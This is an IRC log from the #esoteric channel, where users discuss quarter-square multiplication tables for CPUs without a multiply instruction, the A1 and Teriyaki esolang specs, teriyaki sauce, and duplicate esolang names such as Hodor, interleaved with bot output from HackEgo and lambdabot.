:if you don't even have imul, let alone floating point, then it's going to be a bit constrained < 1492408886 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :I hope I don't come off as hostile toward your criticisms, thanks for taking a look at it, thinking about it, and discussing it with me < 1492408932 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :the whole reason I wrote up the spec for the vdp is that I'm planning a vm using this architecture https://esolangs.org/wiki/A1 < 1492408948 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :which I think will be challenging and fun < 1492409398 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :man, imul. the last chip I wrote assembly code on with a multiplication instruction had a mul that used 120 cycles lol < 1492409435 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :good old tms9900 < 1492409446 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :i'll take a 6502 any day < 1492410266 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Teriyaki14]]4 M10 02https://esolangs.org/w/index.php?diff=51746&oldid=51742 5* 03Orby 5* (-17) 10/* Timing */ Still tweaking cycle counts to produce something that's easier to emulate < 1492411494 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :One fast way to make multiplication in software is by "quarter square" algorithm. If you want to multiply together 16-bit numbers, you can do that easily enough too < 1492412091 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Esolang:Introduce yourself14]]4 10 02https://esolangs.org/w/index.php?diff=51747&oldid=51731 5* 03Beefster 5* (+263) 10/* Introductions */ < 1492412104 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Hanoiing14]]4 N10 02https://esolangs.org/w/index.php?oldid=51748 5* 03Beefster 5* (+2114) 10Brag brag brag lazy formatting brag brag blah < 1492412214 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Hanoiing14]]4 10 02https://esolangs.org/w/index.php?diff=51749&oldid=51748 5* 03Beefster 5* (+95) 10Wikipedia links < 1492412238 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :zzo38: yeah, when I'm writing stuff for cpus with no multiply instruction I am usually writing demoscene stuff, so I just use lookup tables < 1492412279 0 :sirnaysayer!~naysayer@lord.spacepussy.ca JOIN :#esoteric < 1492412313 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Language list14]]4 10 02https://esolangs.org/w/index.php?diff=51750&oldid=51667 5* 03Beefster 5* (+15) 10Shameless plug for an esolang I made today. < 1492412323 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :"Quarter square" algorithm is using a (one dimensional) lookup table. < 1492412544 0 :hppavilion[0]!~dosgmowdo@93-231-58-66.gci.net JOIN :#esoteric < 1492412743 0 :hppavilion[1]!~dosgmowdo@93-231-58-66.gci.net QUIT :Ping timeout: 260 seconds < 1492412962 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 PRIVMSG #esoteric :zzo38: ahh, I did not know that. cool. < 1492413414 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :with 1K of memory you might be limited to 4×4 multiplication tables < 1492413489 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :it may be no better than a long multiplication then, for 32-bit registers < 1492413508 0 :sirnaysayer!~naysayer@lord.spacepussy.ca QUIT :Quit: zonkzonk < 1492413535 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :> (32 `div` 4)^2 < 1492413537 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : 64 < 1492413552 0 :sirnaysayer!~naysayer@lord.spacepussy.ca JOIN :#esoteric < 1492413782 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :alas, without a left shift you can't really make use of sub-byte tables, so I think long multiplication always wins < 1492413924 0 :viznut!viznut@lowfidelity.org QUIT :Ping timeout: 246 seconds < 1492416167 0 :orby!60eaeacb@gateway/web/freenode/ip.96.234.234.203 QUIT :Ping timeout: 260 seconds < 1492416223 0 :sleffy!~sleffy@c-24-7-67-0.hsd1.ca.comcast.net QUIT :Ping timeout: 240 seconds < 1492417146 0 :viznut!viznut@lowfidelity.org JOIN :#esoteric < 1492417489 0 :hppavilion[0]!~dosgmowdo@93-231-58-66.gci.net QUIT :Ping timeout: 268 seconds < 1492418620 0 :erkin!~erkin@unaffiliated/erkin JOIN :#esoteric < 1492419127 0 :AnotherTest!~turingcom@ptr-82l26zf4ec1pqw2m72y.18120a2.ip6.access.telenet.be JOIN :#esoteric < 1492419627 0 :kiki`!uid170954@gateway/web/irccloud.com/x-jfvbzjfijhrpdfoa JOIN :#esoteric < 1492420957 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? life < 1492420960 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​‘Life,’ said Marvin, ‘don't talk to me about life.’ < 1492422260 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? lisp < 1492422261 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :lisp? ¯\(°​_o)/¯ < 1492423106 0 :erkin!~erkin@unaffiliated/erkin QUIT :Quit: Ouch! Got SIGABRT, dying... < 1492423956 0 :myname!~myname@ks300980.kimsufi.com PRIVMSG #esoteric :don't talk to me about lisp < 1492424010 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :((why not?)) < 1492425451 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :> let f n = n^2 `div` 4 in [(a,b) | a <- [0..127], b <- [0..127], a*b /= f (a+b) - f (a-b)] < 1492425453 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : [] < 1492425992 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Still tricky with just 1k of memory; but I guess one can implement a decent 8x8->16 bit multiplication with a 512 (maybe 514) byte table. < 1492426413 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? vmd < 1492426415 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :vmd? ¯\(°​_o)/¯ < 1492427657 0 :MoALTz!~no@77-254-9-16.adsl.inetia.pl JOIN :#esoteric < 1492427795 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Jafet: how about this: http://sprunge.us/cHaP?c < 1492428207 0 :aiz11!~ryan@60-242-249-176.static.tpgi.com.au QUIT :Remote host closed the connection < 1492428626 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :But if AI is your target platform I wouldn't worry about multiplication... how would one even test a < b efficiently? < 1492428635 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Err, A1. < 1492428780 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? a1 < 1492428781 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :a1? ¯\(°​_o)/¯ < 1492428880 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net JOIN :#esoteric < 1492429003 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :By some algebra, you could see that ((x+y)^2-(x-y)^2)/4=xy so if you store the quarter of square of the numbers in the table, then you can use that to calculate the multiplication. < 1492430126 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :zzo38: that's what the code does < 1492430162 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :(I reconstructed the idea from the "quarter square" keyword.) < 1492430179 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :OK < 1492430431 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ooh < 1492430433 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :quarter square < 1492430441 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :sounds... squary < 1492430608 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :ACTION happily mapoles rdococ for great nutrition < 1492430631 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`? rdococ < 1492430638 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :er < 1492430638 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom. < 1492430652 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :`le//rn rdococ//rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. < 1492430655 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :Relearned 'rdococ': rdococ is apparently from Budapest, but he is actually on Mars. Thanks to boily he is approaching permanent boredom & mapoledom. < 1492430833 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :quarter square < 1492430927 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :wait < 1492430942 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :how would A1 implement squaring? < 1492431122 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :do you want me to try to design a higher level language that compiles to A1? < 1492431306 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :no? < 1492431307 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :> scanl (+) 0 [1,3..] < 1492431310 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : [0,1,4,9,16,25,36,49,64,81,100,121,144,169,196,225,256,289,324,361,400,441,4... < 1492431319 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :int-e, ^^ < 1492431333 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :that's the standard way of precomputing a squaring table if you don't have multiplication: add the first k odd numbers. < 1492431336 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :integral-ello. < 1492431347 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ah < 1492431356 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :that's cool < 1492431391 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :> scanl (+) 0 [0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8] -- squares divided by 4 are also easy. < 1492431393 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric : [0,0,1,2,4,6,9,12,16,20,25,30,36,42,49,56,64,72] < 1492431410 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :floored? < 1492431417 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :yes, floored < 1492431433 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :so the / in ((x+y)^2-(x-y)^2)/4=xy is integral division? < 1492431443 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :well, it's exact < 1492431447 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ah < 1492431469 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :but you can rewrite it as (x+y)^2/4 - (x-y)^2/4 with integer division. < 1492431476 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :(quartersqrt(x+y)-quartersqrt(x-y)) < 1492431479 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ah < 1492431479 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :k < 1492431491 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :and that allows you to use integer division? < 1492431492 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :interesting < 1492431493 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :because the rounding errors (if x+y and x-y are odd) cancel each other. < 1492431496 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :kinda makes sense < 1492431497 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ah < 1492431501 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :now that's cool < 1492431506 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :huh, so A1 isn't actually subleq < 1492431521 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :now I wish I came up with that :c < 1492431589 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :should I try designing (not implementing) a higher-level language that compiles to A1? < 1492431608 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ofc it'd use Teriyaki too < 1492431614 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Jafet: yeah, kind of unfortunate < 1492431647 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :is there a way to calculate the quartersquare series in A1? < 1492431663 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Jafet: of course one can use a lookup table to implement comparison < 1492431677 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Jafet: but that feels... awkward. < 1492431679 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I also wanted to nitpick orby that teriyaki isn't actually a sauce outside of america, but the system design had more pressing issues < 1492431686 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(such as this one) < 1492431715 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :A1 looks purplish... < 1492431723 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :Should I try designing a higher-level language that compiles into A1 assembly? < 1492431733 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net PRIVMSG #esoteric :@ask orby hellorby. have you heard of aubergine and is family? < 1492431734 0 :lambdabot!~lambdabot@haskell/bot/lambdabot PRIVMSG #esoteric :Consider it noted. < 1492431739 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :if so, what to call it? < 1492431750 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Jafet: are you sure? < 1492431803 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Ah, subtle, a cooking technique. Fair enough. Easy misconception to acquire :) < 1492431842 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :again, should I try designing a higher-level language that compiles into A1 assembly? < 1492431856 0 :zzo38!~zzo38@24-207-56-48.eastlink.ca PRIVMSG #esoteric :I know you can make teriyaki without sauce, because I have had it. < 1492431860 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :But nevertheless, the technique does seem to involve a special sauce. < 1492431866 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :only in america is the abomination known as “teriyaki sauce” made separately and added to the food, instead of being produced by cooking < 1492431877 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :ah. < 1492431887 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :sounds american. < 1492431989 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :That is unfortunate, teriyaki produces incredibly tender meat. < 1492432012 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :. o O ( I might try it some time ) < 1492432212 0 :boily!~alexandre@cable-192.222.245.222.electronicbox.net QUIT :Quit: BROOK CHICKEN < 1492432217 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :Oh well, it's no worse than Peking duck. < 1492432337 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ACTION peks < 1492432343 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :(Of course that is actually a very decadent food, and not what people expect when they hear "duck" in connection with food.) < 1492432366 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :int-e: should I try designing a higher-level language that compiles into A1 assembly? < 1492432382 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :I guess it won't be much different to regular ones :/ < 1492433117 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :so for multiplication all you need is {quartersquare, subtract, 0} or {quartersquare, subtract, add} < 1492433142 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :you don't really need 0 if you have subtract < 1492433148 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :perhaps < 1492433158 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :ah < 1492433161 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :x - x = 0 < 1492433161 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :duh < 1492433217 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :so all you need for multiplication is {quartersquare, subtract}. from there you can multiply quartersquare by 4, or multiply something by itself, to get square < 1492433310 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :well, now we have a simpler multiplication algorithm for subleq? < 1492434948 0 :kiki`!uid170954@gateway/web/irccloud.com/x-jfvbzjfijhrpdfoa QUIT :Quit: Connection closed for inactivity < 1492435152 0 :contrapumpkin!~copumpkin@haskell/developer/copumpkin QUIT :Quit: My MacBook Pro has gone to sleep. ZZZzzz… < 1492435433 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :as an exercise, I'm trying to implement the quartersquare multiplication method in brainfuck. < 1492435739 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :s/square/sqrt < 1492435819 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 JOIN :#esoteric < 1492435862 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :orby: 128 bytes of ram (not 256 bytes) if you're thinking of the Atari 2600 < 1492436082 0 :int-e!~noone@int-e.eu PRIVMSG #esoteric :how could you do anything with that... heh < 1492436461 0 :contrapumpkin!~copumpkin@haskell/developer/copumpkin JOIN :#esoteric < 1492436554 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :This is why Color a dinosaur is such an important tech demonstration. < 1492436602 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :How do you do flood filling with just tiles and sprites? < 1492436640 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :It's magic. < 1492436906 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :for example, how to quartersqrt in bf? < 1492437095 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :w/o a lookup table < 1492437649 0 :rdococ!rdococ@unaffiliated/rdococ PRIVMSG #esoteric :even w one < 1492437660 0 :h0rsep0wer!~h0rsep0we@unaffiliated/h0rsep0wer JOIN :#esoteric < 1492437920 0 :Jauler!~Miau@78.157.70.135 JOIN :#esoteric < 1492437997 0 :Jauler!~Miau@78.157.70.135 PRIVMSG #esoteric :Hey, maybe someone does recognize what esoteric language this could be? "3>3<8>5<10>10<8>3<6>10<8>2<8<1<2>6>5<7>6<2<8>1>6<3<3>7>11<2<9>9<6>2<4<5>8>8<4>3>3<8<1>7>3<1<7>1>12<5>3<3<12>8<1<2<3>1>2<2>1>1<1<1>1<2>2<1>1<" < 1492438373 0 :alercah!~alercah@unaffiliated/alercah PRIVMSG #esoteric :it's C++ templates hth < 1492438412 0 :myname!~myname@ks300980.kimsufi.com PRIVMSG #esoteric :i would consider that esoteric < 1492438429 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :alercah: no, that would need commas < 1492438444 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :(also identifiers) < 1492438494 0 :Jauler!~Miau@78.157.70.135 PRIVMSG #esoteric :hmm < 1492438513 0 :Jauler!~Miau@78.157.70.135 PRIVMSG #esoteric :I doubt that this could be C++ templates as those should have matching "<" and ">" pairs < 1492438516 0 :Jauler!~Miau@78.157.70.135 PRIVMSG #esoteric ::/ < 1492438520 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :maybe it's part of some obfu code in some other language, and there's some code processing that string or something < 1492438529 0 :Jauler!~Miau@78.157.70.135 PRIVMSG #esoteric :might be < 1492438872 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Esolang:Introduce yourself14]]4 10 02https://esolangs.org/w/index.php?diff=51751&oldid=51747 5* 03Bojidar-bg 5* (+343) 10 < 1492438889 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :PCG has a shitton of esolangs, so it's hard to see which ones are actually popular (say, used by more than one people to write multiple programs). I'd like to know which ones are, because we should make an article of those on the esowiki < 1492438892 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Chance14]]4 M10 02https://esolangs.org/w/index.php?diff=51752&oldid=51732 5* 03Bojidar-bg 5* (-14) 10Remove wrong use of "percent" < 1492439231 0 :Jauler!~Miau@78.157.70.135 QUIT :Ping timeout: 260 seconds < 1492439275 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :aren't most of them already on the wiki, at least as stubs? < 1492439294 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :though, the one just asked about isn't < 1492439307 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Jafet: I don't think so. At least not if you count them unweighted: < 1492439375 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :there are a lot of stupid "languages" that people make up because they think it's hip to write a javascript interpreter on github of a language that can print strings or whatever, and then post two examples of it (a hello world and a factorial or fibonacci or whatever) and that's all there is < 1492439417 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :but I think there are actual better languages of which we're missing articles yet, simply because the esowiki has a small community and nobody's met those languages yet < 1492439557 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :seriously, I think there are more pointless stupid languages on PPCG than on esowiki < 1492439557 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :again, unweighted < 1492439687 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I doubt so; they at least have the quality of having one working program in them < 1492439745 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :the wiki has, what, 1000 Category:Languages? < 1492439890 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :anyway, you can probably extract some kind of language list by parsing all the answers on the stackexchange site < 1492439934 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Jafet: yeah, and a few dozen other articles that are languages but not in the category < 1492439954 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Jafet: yes, perhaps you could do that, but I'm lazy < 1492440120 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :since you are lazy (and, furthermore, I am also lazy), we could just wait for the people in the ppcg esolangs chatroom (apparently there is one? darth decisive oerjan may know) to decide which of their esolangs are good and add them to the wiki < 1492440202 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :is HODOR and Hodor the same language? < 1492440237 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :https://codegolf.stackexchange.com/a/58357/6691 vs http://www.hodor-lang.org/ < 1492440240 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :they're both OISCs, presumably? < 1492440266 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :no, I don't think so < 1492440268 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :sadly, no < 1492440280 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :I think they're more like Ook! < 1492440290 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :as in, a language pronouncable by someone with a very reduced vocabulary < 1492440325 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :I think these are actually two different programming languages < 1492440344 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :maybe, but the first page links to the second < 1492440354 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :crazy stuff < 1492440359 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :uh, wrong links then < 1492440359 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :wait < 1492440383 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :https://github.com/ValyrioCode/Hodor vs http://www.hodor-lang.org/ < 1492440383 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :sorry < 1492440401 0 :`^_^v!~nycs@gw.hq.meetup.com JOIN :#esoteric < 1492440615 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :might be difficult to create wiki articles for both languages, then < 1492440662 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Jafet: we already have pairs of pages for identically named languages, and there are more for which we don't have pages yet. that never stopped us < 1492440722 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :hmm the two SLOBOL articles don't even link to each other < 1492440793 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :some of the clashes are because some people like to give single-letter names to their languages, so there are multiple languages named V or A or Y < 1492440803 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :some are because people give deliberately confusing name to an esolang, like GHC and GCC < 1492440832 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :the case of Hodor may be an accident for all I know < 1492440871 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :and "x86" as an esolang name is probably an accident too: they named the esolang that before that name got well spread used for the cpu architecture < 1492440919 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :then there's "MIX" which was given as a name for some insignificant esolang way after the much more famous esolang was well established < 1492440924 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :that's just rude IMO < 1492441064 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :The Hodor one is confusing, I'll create a page on the esowiki just to avert the confusion when someone talks about Hodor and someone else thinks it's the other Hodor. < 1492441076 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Hodor14]]4 N10 02https://esolangs.org/w/index.php?oldid=51753 5* 03B jonas 5* (+252) 10Created page with "'''Hodor''' is the name of two esoteric languages, with homepage https://github.com/ValyrioCode/Hodor and http://www.hodor-lang.org/ respectively. One of them might actually..." < 1492441382 0 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I wonder if either language is actually interesting enough to write a page about < 1492441428 0 :wob_jonas!59858794@gateway/web/cgi-irc/kiwiirc.com/ip.89.133.135.148 PRIVMSG #esoteric :Jafet: I dunno, but there are hundreds of languages for which I could ask that, so I don't particularly care about Hodor there < 1492441445 0 :h0rsep0wer!~h0rsep0we@unaffiliated/h0rsep0wer QUIT :Quit: Leaving < 1492441677 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Hello world program in esoteric languages14]]4 10 02https://esolangs.org/w/index.php?diff=51754&oldid=50877 5* 03B jonas 5* (+73) 10 < 1492441732 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :[wiki] 14[[07Hello world program in esoteric languages14]]4 10 02https://esolangs.org/w/index.php?diff=51755&oldid=51754 5* 03B jonas 5* (+21) 10 < 1492442515 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf JOIN :#esoteric < 1492442658 0 :Zarutian!~zarutian@168-110-22-46.fiber.hringdu.is JOIN :#esoteric < 1492442677 0 :Soni!SoniEx2@unaffiliated/soniex2 JOIN :#esoteric < 1492442687 0 :Soni!SoniEx2@unaffiliated/soniex2 PRIVMSG #esoteric :how can I port gzip to sed? < 1492442718 0 :moonythedwarf!~moonythed@unaffiliated/moonythedwarf PRIVMSG #esoteric :`relcome Soni < 1492442720 0 :HackEgo!~HackEgo@162.248.166.242 PRIVMSG #esoteric :​06Soni: 13Welcome 04to 07the 08international 09hub 02for 06esoteric 13programming 04language 07design 08and 09deployment! 02For 06more 13information, 04check 07out 08our 09wiki: 02. 06(For 13the 04other 07kind 08of 